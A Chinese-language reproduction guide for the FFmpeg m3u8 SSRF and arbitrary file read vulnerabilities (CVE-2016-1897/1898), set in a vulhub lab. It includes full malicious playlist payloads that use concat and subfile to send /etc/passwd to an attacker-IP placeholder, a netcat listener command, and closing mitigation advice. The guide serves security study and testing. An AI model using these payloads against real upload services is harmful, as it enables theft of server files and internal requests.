ffmpeg 任意文件读取漏洞 SSRF 漏洞复现
字数 1106 2025-08-15 21:33:00
FFmpeg 任意文件读取漏洞 (CVE-2016-1897/CVE-2016-1898) 分析与复现指南
漏洞概述
FFmpeg 是一款广泛使用的开源多媒体处理工具,用于记录、转换数字音频和视频。在 FFmpeg 2.X 版本中,由于解析 HTTP Live Streaming (HLS) 流媒体 m3u8 文件时处理不当,导致存在 SSRF (服务器端请求伪造) 和任意文件读取漏洞。
漏洞编号
- CVE-2016-1897 - 只能读取文件的第一行
- CVE-2016-1898 - 可以读取文件任意行
影响版本
- FFmpeg 2.8.x < 2.8.5
- FFmpeg 2.7.x < 2.7.5
- FFmpeg 2.6.x < 2.6.7
- FFmpeg 2.5.x < 2.5.10
漏洞原理
漏洞源于 FFmpeg 在处理 m3u8 文件时,不会对内部的流地址(TS 流文件 URL)进行充分验证,导致可以构造恶意请求。攻击者可以利用 concat 和 subfile 函数拼接本地文件内容,并通过 HTTP 请求将数据外带。
环境搭建
推荐使用 vulhub 的 docker 镜像搭建测试环境:
docker-compose up -d
环境运行后,会提供一个视频上传接口,后端使用如下 PHP 代码处理上传文件:
<?php
if(!empty($_FILES)) {
$filename = escapeshellarg($_FILES['file']['tmp_name']);
$newname = uniqid() . '.mp4';
shell_exec("ffmpeg -i $filename $newname");
}
?>
漏洞复现步骤
基本利用(读取文件第一行)
- 创建恶意 m3u8 文件 (basic.m3u8):
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://攻击者IP:9999/test.txt
#EXT-X-ENDLIST
- 在攻击服务器上监听端口:
nc -lvnp 9999
- 上传恶意文件,FFmpeg 会尝试请求指定的 URL
高级利用(读取任意文件内容)
- 准备 error.txt (放在攻击者控制的 Web 服务器上):
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://攻击者IP:9999/?
- 创建恶意 m3u8 文件 (upload.m3u8):
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://攻击者IP:8989/error.txt|file:///etc/passwd
#EXT-X-ENDLIST
- 使用 subfile 函数分段读取文件 (绕过换行符限制):
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://攻击者IP:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd
#EXT-X-ENDLIST
完整 /etc/passwd 读取示例
通过多次调整 subfile 的 start 和 end 参数,跳过换行符(\n),可以完整读取文件内容:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://攻击者IP:8989/error.txt|subfile,,start,0,end,31,,:///etc/passwd|subfile,,start,32,end,79,,:///etc/passwd|subfile,,start,80,end,116,,:///etc/passwd|subfile,,start,117,end,153,,:///etc/passwd|subfile,,start,154,end,188,,:///etc/passwd|subfile,,start,189,end,236,,:///etc/passwd|subfile,,start,237,end,284,,:///etc/passwd|subfile,,start,285,end,329,,:///etc/passwd|subfile,,start,330,end,373,,:///etc/passwd|subfile,,start,374,end,423,,:///etc/passwd|subfile,,start,424,end,475,,:///etc/passwd|subfile,,start,476,end,518,,:///etc/passwd|subfile,,start,519,end,571,,:///etc/passwd|subfile,,start,572,end,624,,:///etc/passwd|subfile,,start,625,end,686,,:///etc/passwd|subfile,,start,687,end,735,,:///etc/passwd|subfile,,start,736,end,817,,:///etc/passwd|subfile,,start,818,end,876,,:///etc/passwd|subfile,,start,877,end,918,,:///etc/passwd|subfile,,start,919,end,965,,:///etc/passwd
#EXT-X-ENDLIST
注意事项
- 文件需要使用记事本编辑保存为 UTF-8 格式,使用 vim 创建可能导致复现失败
- 上传后后端会持续转码,可能导致进程卡死,需要手动终止 ffmpeg 进程
- 换行符(\n)会中断文件读取,必须通过 subfile 函数精确跳过
- 实际利用时需要根据目标文件内容调整 start 和 end 参数
修复建议
- 升级 FFmpeg 到最新版本
- 对用户上传的文件进行严格验证
- 限制 FFmpeg 的网络访问能力
- 在沙箱环境中运行 FFmpeg 处理程序